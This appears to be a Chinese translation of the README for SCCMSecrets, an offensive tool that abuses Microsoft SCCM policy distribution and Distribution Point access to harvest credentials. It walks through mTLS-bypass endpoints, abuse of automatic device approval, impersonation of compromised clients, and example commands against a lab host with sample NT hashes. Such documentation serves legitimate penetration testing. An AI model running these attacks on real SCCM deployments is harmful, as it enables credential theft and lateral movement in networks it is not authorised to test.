synacktiv/SCCMSecrets
GitHub: synacktiv/SCCMSecrets
一款针对微软 SCCM/MECM 配置管理系统的综合利用工具,通过操作策略分发和文件下载功能实现凭据收割与横向移动。
Stars: 266 | Forks: 31
# SCCMSecrets
SCCMSecrets.py 是一个 SCCM 策略利用工具。它不仅限于 NAA 凭据提取,旨在提供关于 SCCM 策略利用的全面方法。该工具可以在不同的权限级别下执行,并尝试发现与策略分发相关的潜在配置错误。关于该工具及其用法的更多详细信息,请参阅相关文章:
https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
该工具提供两个子命令:`policies` 和 `files`。
## 策略
此子命令与 SCCM **Management Point** 交互,以转储所有秘密策略的内容(包括 NAA 配置、包含凭据的任务序列或集合变量)。为此,需要一个经批准的 SCCM 设备,可以通过三种方式获取。
- 如果你不提供机器账户,SCCMSecrets 将尝试注册一个设备并滥用自动设备批准功能。这是一种(非默认的)SCCM 配置,它会自动将“已批准”状态授予匿名注册的新设备。
- 如果你提供机器账户,SCCMSecrets 将使用经过身份验证的注册端点注册一个新设备。默认情况下,SCCM 将授予通过此端点注册的设备“已批准”状态。
- 如果你提供 `--altauth` 标志,SCCMSecrets 将利用一个备用身份验证端点,从而绕过 mTLS 要求,并在无需凭据且不存在自动设备批准配置错误的情况下获取已批准的设备([更多信息请点击此处](https://www.synacktiv.com/sites/default/files/2025-08/def-con-33-mehdi-elyassa-sccm-the-tree-that-always-bears-bad-fruits.pdf#page=15))。这仅在 MP 配置为使用 HTTPS,且 SCCM 站点配置为强制全站点 HTTPS 时才有效(如果 MP 使用 HTTPS 但站点允许 HTTP 或 HTTPS,则设备不会自动批准)。
- 你也可以提供一个现有设备(`--use-existing-device`)。此参数需要一个包含 `guid.txt` 文件(设备 GUID)和 `key.pem` 文件(设备私钥)的目录。这可以是先前 SCCMSecrets 执行创建的设备,也可以是对应于已被入侵的合法 SCCM 客户端的设备。
请注意,SCCM 策略与集合相关联。注册新设备会将该设备放入默认集合中——因此,只能检索来自默认集合的秘密策略。这就是为什么使用 `--use-existing-device` 模拟已被入侵的合法 SCCM 客户端可能很有趣的原因。实际上,这个合法客户端可能是与额外秘密策略关联的自定义集合的一部分。
输出将放置在 `loot` 目录的子目录中(格式:`[timestamp]_policies`)。
```
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
## 文件
此子命令将索引存储在 **Distribution Point** 上的文件并下载感兴趣的文件。SCCMSecrets 将首先尝试确定是否启用了匿名访问(非默认)。如果是这种情况,可以在无需身份验证的情况下索引和下载文件。否则,将需要域凭据。
可以按扩展名下载文件。SCCMSecrets 将索引托管在 Distribution Point 上的所有包的文件(生成一个 Unix `tree` 格式的 `index.txt` 文件),并下载具有指定扩展名的文件。当提供空的扩展名列表时,将仅执行文件索引。
在这两种情况下,根据生成的索引文件,可以使用 `--urls` 标志下载特定的感兴趣文件(无需重新索引)。
请注意,如果实施了 mTLS 要求,可以通过提供 `--nocert` 标志来绕过。
输出将放置在 `loot` 目录的子目录中(格式:`[timestamp]_files`)。
```
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
## 关于 HTTPS 强制执行
默认情况下,客户端可以使用普通 HTTP 与其 Management Point 或 Distribution Point 进行交互。然而,SCCM 安装可能通过强制使用 HTTPS 进行更安全的配置。在这种情况下(针对 Management Point、Distribution Point 或两者),SCCM 将要求使用具有“客户端身份验证”目的的内部 PKI 证书进行客户端证书身份验证。
仍然可以执行上述攻击——但是,必须通过 `--pki-cert` 和 `--pki-key` 标志(PEM 格式)提供有效的 PKI 证书。Management Point / Distribution Point URL 也应加上 `https://` 前缀。
请注意,`--altauth`(用于策略)和 `--nocert`(用于文件)标志提供了绕过 mTLS 身份验证的方法([更多信息请点击此处](https://www.synacktiv.com/sites/default/files/2025-08/def-con-33-mehdi-elyassa-sccm-the-tree-that-always-bears-bad-fruits.pdf#page=15))。
# 安装
你可以通过克隆仓库并安装依赖项来安装 SCCMSecrets.py。
```
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
```
# 示例
以下是一些示例命令。
### 策略
在未提供机器账户的情况下检索秘密策略。这将尝试利用自动设备批准配置错误(非默认配置)
```
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
```
通过提供机器账户检索秘密策略。这适用于默认的 SCCM 配置
```
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
```
检索已存在设备的秘密策略。`compromised_device` 文件夹包含 `guid.txt` 和 `key.pem` 文件。
```
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
```
在 Management Point 强制执行 HTTPS 时检索秘密策略
```
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
```
使用备用身份验证端点检索秘密策略,允许绕过 mTLS 身份验证并在不提供凭据的情况下获取已批准的设备([更多信息请点击此处](https://www.synacktiv.com/sites/default/files/2025-08/def-con-33-mehdi-elyassa-sccm-the-tree-that-always-bears-bad-fruits.pdf#page=15))。仅在 MP 使用 HTTPS 且全站点强制执行 HTTPS 时有效
```
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
```
### 文件
在未提供凭据的情况下检索 Distribution Point 文件。这将尝试利用匿名 DP 访问(非默认配置)
```
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
```
使用凭据检索 Distribution Point 文件。这适用于默认的 SCCM 配置
```
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
```
检索具有特定扩展名列表的文件。使用机器账户的哈希进行身份验证
```
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
```
通过提供 URL 列表(每行 1 个)从 Distribution Point 检索特定文件
```
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
```
在 Distribution Point 强制执行 HTTPS 时检索 DP 文件
```
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
```
在 Distribution Point 强制执行 HTTPS 时绕过 mTLS 身份验证
```
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
```
标签:Active Directory, Configuration Manager, DEF CON, mTLS 绕过, NAA 凭据, PE 加载器, Plaso, Python, SCCM, StruQ, 任务序列, 凭据窃取, 初始访问, 安全测试, 攻击性安全, 无后门, 横向渗透, 横向移动, 策略分发, 编程规范, 设备注册滥用, 逆向工具